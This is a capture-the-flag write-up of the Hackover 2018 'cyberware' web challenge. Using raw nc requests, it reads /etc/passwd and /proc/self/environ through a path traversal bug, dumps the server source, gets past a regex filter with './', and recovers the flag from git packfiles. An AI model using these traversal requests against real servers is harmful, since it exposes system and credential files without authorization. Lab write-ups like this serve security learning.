cyberware (web, 416)
We get a very basic web app that hosts some text files. Clicking on them in the browser doesn't get us anywhere (later, we'll find out that this is because the app detects and disallows referrers). So, let's use curl
:
$ curl -v "http://cyberware.ctf.hackover.de:1337/cat.txt"
...
< HTTP/1.1 200 Yippie
< Server: Linux/cyber
< Date: Sun, 07 Oct 2018 21:04:46 GMT
< Content-type: text/cyber
< Content-length: 165
<
<pre>
____
(. \
\ |
\ |___(\--/)
__/ ( . . )
"'._. '-.O.'
'-. \ "|\
'.,,/'.,,
</pre>
Awww! Now, one of the usual things to try with custom web apps is directory traversals. Note that we can't use curl here because it rewrites paths before sending them. So let's get raw:
$ echo "GET /../ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 403 You shall not list!
Ha, it seems to be handling the parent directory but disallows listing. What about absolute paths?
$ echo "GET //etc/passwd HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ctf:x:1000:1000::/home/ctf:
Awesome, now how do we find interesting files from here? On Linux, the procfs
can give us some information about the environment:
$ echo "GET //proc/self/cmdline HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
/usr/bin/python3./cyberserver.py
$ echo "GET //proc/self/environ HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7c26257684d8TERM=xtermHOME=/home/ctf
Seems like the server file is called cyberserver.py
. Let's try to fetch it directly from home:
$ echo "GET //home/ctf/cyberserver.py HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | tail -n +7
#!/usr/bin/python3
from threading import Thread
from sys import argv
from sys import getsizeof
from time import sleep
from socketserver import ThreadingMixIn
from http.server import SimpleHTTPRequestHandler
from http.server import HTTPServer
from re import search
from os.path import exists
from os.path import isdir
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
class CyberServer(SimpleHTTPRequestHandler):
def version_string(self):
return f'Linux/cyber'
def do_GET(self):
self.protocol_version = 'HTTP/1.1'
referer = self.headers.get('Referer')
path = self.path[1:] or ''
if referer:
self.send_response(412, 'referer sucks')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return
if not path:
self.send_response(200, 'cyber cat')
self.send_header('Content-type', 'text/html')
self.end_headers()
for animal in ['cat', 'fox', 'kangaroo', 'sheep']:
self.wfile.write("<a href='{0}.txt'>{0}.txt</a></br>"
.format(animal).encode())
return
if path.endswith('/'):
self.send_response(403, 'You shall not list!')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return
if path.startswith('.'):
self.send_response(403, 'Dots are evil')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return
if path.startswith('flag.git') or search('\\w+/flag.git', path):
self.send_response(403, 'U NO POWER')
self.send_header('Content-type', 'text/cyber')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return
if not exists(path):
self.send_response(404, 'Cyber not found')
self.send_header('Content-type', 'cyber/error')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return
if isdir(path):
self.send_response(406, 'Cyberdir not accaptable')
self.send_header('Content-type', 'cyber/error')
self.end_headers()
self.wfile.write(b"Protected by Cyberware 10.1")
return
try:
with open(path, 'rb') as f:
content = f.read()
self.send_response(200, 'Yippie')
self.send_header('Content-type', 'text/cyber')
self.send_header('Content-length', getsizeof(content))
self.end_headers()
self.wfile.write(content)
except Exception:
self.send_response(500, 'Cyber alert')
self.send_header('Content-type', 'cyber/error')
self.end_headers()
self.wfile.write("Cyber explosion: {}"
.format(path).encode())
class CyberServerThread(Thread):
server = None
def __init__(self, host, port):
Thread.__init__(self)
self.server = ThreadingSimpleServer((host, port), CyberServer)
def run(self):
self.server.serve_forever()
return
def main(host, port):
print(f"Starting cyberware at {host}:{port}")
cyberProtector = CyberServerThread(host, port)
cyberProtector.server.shutdown
cyberProtector.daemon = True
cyberProtector.start()
while True:
sleep(1)
if __name__ == "__main__":
host = "0.0.0.0"
port = 1337
if len(argv) >= 2:
host = argv[1]
if len(argv) >= 3:
port = int(argv[3])
main(host, port)
Important things we find in that web server implementation are:
- Paths can't start with
.
- Paths can't end with
/
- There is a restriction for a path with
path.startswith('flag.git') or search('\\w+/flag.git', path)
So it looks like we need to get into that flag.git/
dir!
$ echo "GET //home/ctf/flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 403 U NO POWER
Uh-oh, access denied! But we can simply bypass that \w+/flag.git
regex. because putting a ./
inside the path doesn't change the location but a .
doesn't match \w
:
$ echo "GET //home/ctf/./flag.git HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 406 Cyberdir not accaptable
Well, no directory listing. But the .git
ending seems to indicate it's a git meta directory. So, let's try to extract some common files you may find in a .git/
dir:
File /flag.git/HEAD
:
ref: refs/heads/master
File /flag.git/refs/heads/master
:
b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
Now, we can't just extract all git objects without knowing their locations, but we just discovered an object hash, so we should be able to download it.
$ echo "GET //home/ctf/./flag.git/objects/b6/9c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a HTTP/1.1\n" | nc cyberware.ctf.hackover.de 1337 | head -n 1
HTTP/1.1 404 Cyber not found
Odd! Usually, objects are in .git/objects/
, but we can't locate that one. Let's dig a little more...
/flag.git/COMMIT_EDITMSG
:
better delete everything ... so its safe
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
# Explicit paths specified without -i or -o; assuming --only paths...
# On branch master
# Changes to be committed:
# deleted: ups
#
# ------------------------ >8 ------------------------
# Do not touch the line above.
# Everything below will be removed.
diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency
Okay, so they deleted a file called ups
, so we can't locate that either. But there's another mechanism for git to store objects -- packfiles! Packfiles are a great feature because compressing (and storing only diffs instead of all file versions) helps git to keep the footprint small. Let's see if there are any packs:
File /flag.git/objects/info/packs
:
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Nice, there's a packfile and we can conclude where it's located, so we can download the .pack
and the corresponding index file:
/flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
/flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.idx
But since they aren't plaintext we can't just read them. So let's make a dummy repo for them:
$ mkdir /tmp/foo
$ cd /tmp/foo
/tmp/foo $ git init
Copy the downloaded packfiles into it:
/tmp/foo $ cp ~/downloads/pack.pack ~/downloads/pack.idx .git/objects/pack
Now, of course, the indexing etc. in our dummy repo is all messed up, so let's just use the tool git-repair
to fix all those references.
/tmp/foo $ git-repair
Running git fsck ...
Unpacking all pack files.
Unpacking objects: 100% (15/15), done.
Successfully recovered repository!
You should run "git fsck" to make sure, but it looks like everything was recovered ok.
Let's verify:
/tmp/foo $ git fsck
notice: HEAD points to an unborn branch (master)
Checking object directories: 100% (256/256), done.
notice: No default references
dangling commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e
dangling commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
Uh, we have dangling commits? Let's have a look...
/tmp/foo $ git branch dangling dd9ebcb882411a06c33ea9d8e4246acf70e7372e
/tmp/foo $ git checkout dangling
/tmp/foo $ git log -p -2
commit dd9ebcb882411a06c33ea9d8e4246acf70e7372e (HEAD -> dangling)
Author: CyberControlCenter <[email protected]>
Date: Sat Oct 8 23:05:18 2016 +0200
better delete everything ... so its safe
diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency
commit c0e01b58327e785a581c32b97e639014aef0f31e
Author: CyberControlCenter <[email protected]>
Date: Sat Oct 8 23:05:02 2016 +0200
ups did not happen. hide secret again
diff --git a/hackover16{Cyb3rw4hr_pl5_n0_taR} b/ups
similarity index 100%
rename from hackover16{Cyb3rw4hr_pl5_n0_taR}
rename to ups
A hackover16
fake flag? What's wrong with these guys... Let's check the other one then:
/tmp/foo $ git branch dangling2 b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
/tmp/foo $ git checkout dangling
/tmp/foo $ git log -p -2
commit b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a (HEAD -> dangling2)
Author: CyberControlCenter <[email protected]>
Date: Sat Oct 8 23:05:18 2016 +0200
better delete everything ... so its safe
diff --git a/ups b/ups
deleted file mode 100644
index 8c2f73b..0000000
--- a/ups
+++ /dev/null
@@ -1 +0,0 @@
-make cyber tool to call cyberwehr for cygeremergency
commit 19f882c9ad7aec1e682511525cc43e271896ae9e
Author: CyberControlCenter <[email protected]>
Date: Thu Sep 27 22:11:38 2018 +0200
ups did not happen. hide secret again
diff --git a/hackover18{Cyb3rw4r3_f0r_Th3_w1N} b/ups
similarity index 100%
rename from hackover18{Cyb3rw4r3_f0r_Th3_w1N}
rename to ups
There we go, in the verbose logs we can find that the file ups
had once been renamed from:
hackover18{Cyb3rw4r3_f0r_Th3_w1N}